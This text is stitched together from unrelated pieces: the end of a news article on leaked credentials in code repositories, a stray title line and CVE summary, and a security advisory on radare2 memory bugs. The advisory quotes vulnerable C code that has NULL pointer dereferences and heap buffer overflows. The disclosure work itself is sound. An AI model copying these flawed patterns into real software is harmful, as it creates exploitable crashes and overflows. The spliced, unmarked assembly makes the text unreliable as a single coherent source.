With valid corporate credentials, attackers operate as authorized users, and detecting abuse becomes difficult. The time for a credential to be compromised after being pushed to GitHub is a mere 4 seconds, meaning it should be immediately revoked and rotated to neutralize the risk of being breached. Out of guilt, or lacking technical knowledge, we can see why people often take the wrong path to get out of this situation.

Another bad mistake for enterprises would be to tolerate the presence of secrets inside non-public repositories. GitGuardian's State of Secrets Sprawl report highlights the fact that private repositories hide much more secrets than their public equivalent. The hypothesis here is that private repositories give the owners a false sense of security, making them a bit less concerned about potential secrets lurking in the codebase.

That's ignoring the fact that these forgotten secrets could someday have a devastating impact if harvested by hackers.

To be fair, application security teams are well aware of the problem. But the amount of work to be done to investigate, revoke and rotate the secrets committed every week, or dig through years of uncharted territory, is simply overwhelming.

**Headline breaches... and the rest**

However, there is an urgency. Hackers are actively looking for "dorks" on GitHub, which are easily recognized patterns to identify leaked secrets. And GitHub is not the only place where they can be active, any registry (like Docker Hub) or any source code leak can potentially become a goldmine to find exploitation vectors.

As evidence, you just have to look at recently disclosed breaches: a favorite of many open-source projects, Codecov is a code coverage tool. Last year, it was compromised by attackers who gained access by extracting a static cloud account credential from its official Docker image. After having successfully accessed the official source code repository, they were able to tamper with a CI script and harvest hundreds of secrets from Codecov's user base.

More recently, Twitch's entire codebase was leaked, exposing more than 6,000 Git repositories and 3 million documents. Despite lots of evidence demonstrating a certain level of AppSec maturity, nearly 7,000 secrets could be surfaced! We are talking about hundreds of AWS, Google, Stripe, and GitHub keys. Just a few of them would be enough to deploy a full-scale attack on the company's most critical systems. This time no customer data was leaked, but that's mostly luck.

A few years ago, Uber was not so lucky. An employee accidentally published some corporate code on a public GitHub repository, that was his own. Hackers found out and detected a cloud service provider's keys granting access to Uber's infrastructure. A massive breach ensued.

The bottom line is that you can't really be sure when a secret will be exploited, but what you must be aware of is that malicious actors are monitoring your developers, and they are looking for your code. Also keep in mind that these incidents are just the tip of the iceberg, and that probably many more breaches involving secrets are not publicly disclosed.

**Conclusion**

Secrets are a core component of any software stack, and they are especially powerful, therefore they require very strong protection. Their distributed nature and the modern software development practices make it very hard to control where they end up, be it source code, production logs, Docker images, or instant messaging apps. Secrets detection and remediation capability is a must because even secrets can be exploited in an attack leading to a major breach. Such scenarios happen every week and as more and more services and infrastructure are used in the enterprise world, the number of leaks is growing at a very fast rate. The earlier action is taken, the easier it is to protect source code from future threats.

_**Note -** This article is written by Thomas Segura, technical content writer at GitGuardian. Thomas has worked as both an analyst and software engineer consultant for various big French companies._

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

How Secrets Lurking in Source Code Lead to Major Breaches

radareorg radare2 version 5.5.2 is vulnerable to NULL Pointer Dereference via libr/bin/p/bin_symbols.c binary symbol parser.

POSTED BY: Angelos T. Kalaitzidis / 24.05.2022

**Multiple vulnerabilities in radare2**

CENSUS identified a number of NULL pointer dereference and Heap buffer overflow bugs in the radare2 project code. Radare2 is a popular reverse engineering framework. CENSUS has verified that release 5.6.0 of radare2 carries the appropriate fixes to remediate all of the identified issues.

**CVE-2022-0419 Vulnerability Details**

Function load\_buffer of radare2/libr/bin/p/bin\_xnu\_kernelcache.c uses a pointer (obj) which remains initialized to NULL, when a call to function get\_prelink\_info\_range\_from\_mach0() fails (i.e. returns NULL). The code snippet below shows this problematic code path:

    
    static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadaddr, Sdb *sdb) {
        ...
    189 RKernelCacheObj *obj = NULL; // 1
    
    191 RPrelinkRange *prelink_range = get_prelink_info_range_from_mach0 (main_mach0);
    192 if (!prelink_range) {
    193     goto beach;              // 2
    194 }
    ....
    243 beach:
    244 r_buf_free (fbuf);
    245 obj->cache_buf = NULL;       // 3
    244 MACH0_(mach0_free) (main_mach0);
    245 return false;
    

When get\_prelink\_info\_range\_from\_mach0() returns NULL, obj remains NULL and the code branches to line 243. There an access to the obj pointer is made on line 245, resulting to a NULL pointer dereference and a program crash.

The issue has been patched in version 5.6.0 of radare2.

**CVE-2021-44975 Vulnerability Details**

The objc\_build\_refs function is responsible for building the references of a mach-o file as its name suggests. The function can be found out at /radare2/libr/core/anal\_objc.c

    
    static bool objc_build_refs(RCoreObjc *objc) {
    	...
    
    	size_t ss_selrefs = objc->_selrefs->vsize;
    
    	size_t maxsize = R_MAX (ss_const, ss_selrefs); // 1
    	maxsize = R_MIN (maxsize, objc->file_size);    
    
    	ut8 *buf = calloc (1, maxsize);				   
    	if (!buf) {
    		return false;
    	}
    
    	...
    	if (!r_io_read_at (objc->core->io, va_selrefs, buf, ss_selrefs)) { // 2
    		eprintf ("aao: Cannot read the whole selrefs section\n");
    		return false;
    	}
    	...
    	free (buf);
    	return true;
    }
    

At comment #1 the maxsize quantity is calculated based on the largest value between ss\_const and ss\_selrefs (see R\_MAX macro). Lets consider that the largest of the two is ss\_selrefs. Then maxsize is recalculated based on the lowest value (see R\_MIN macro) between the previously calculated maxsize and objc->file\_size. Therefore, there may be a case where ss\_selrefs will be greater than objc->file\_size and in that case maxsize will be equal to objc->file\_size.

In the above case, buffer buf is dynamically allocated with maxsize (i.e. objc->file\_size) bytes. However the r\_io\_read\_at() operation at comment #2 will copy ss\_selrefs bytes to the buffer, resulting to a heap buffer overflow as ss\_selrefs would be greater than objc->file\_size.

A similar vulnerability also exists in other code of the same function:

    
    
    	size_t ss_const = objc->_const->vsize;
    ....
    	if (!r_io_read_at (objc->core->io, objc->_const->vaddr, buf, ss_const)) {
    		eprintf ("aao: Cannot read the whole const section %zu\n", ss_const);
    		return false;
    	}
    

Again, ss\_const can be greater than objc->file\_size resulting to a heap buffer overflow.

Version 5.6.0 of radare2 comes with the appropriate fix for these issues.

**CVE-2021-44974 Vulnerability Details**

A NULL pointer dereference vulnerability exists in the symbols() function of /radare2/libr/bin/bin\_symbols.c.

    
    static RList *symbols(RBinFile *bf) {
    	RCoreSymCacheElement *element = bf->o->bin_obj;
    	...
    	// Parse symbols to a hash table
    	for (i = 0; i < element->hdr->n_symbols; i++) {
    		RCoreSymCacheElementSymbol *sym = &element->symbols[i]; // 1
    		ht_uu_find (hash, sym->paddr, &found);                  
    		if (found) {
    			continue;
    		}
    		RBinSymbol *s = bin_symbol_from_symbol (element, sym);
    		if (s) {
    			r_list_append (res, s);
    		}
    	}
    	ht_uu_free (hash);
    	return res;
    }
    

As illustrated in the code snippet above, the element pointer points to adversary-controlled data (as bf->o->bin\_obj essentially points to data of the binary file). The element->symbols array, is an array of symbols for an object of the file that is being loaded for analysis. In the case where the pointer element->symbols\[0\] is NULL (which is possible as we are talking about adversary-controlled data) the sym pointer would also be set to NULL (see comment #1). Then in the next line sym is accessed through the sym->paddr expression and this leads to a NULL pointer dereference and a program crash.

This issue has been patched in version 5.5.4 of radare2.

**Recommendation**

CENSUS advises users to use a radare2 version greater or equal to 5.6.0, as this version carries appropriate patches that remediate correctly all of the aforementioned issues.

**Disclosure Timeline**

Vendor Contact:

December 7, 2021

CVE Allocation:

December 13, 2021

Vendor Fix Released:

February 2, 2022

Public Advisory:

May 24, 2022

*   Tags: advisories , memory corruption , NULL pointer dereference , buffer overflow , radare2

Tag

#mac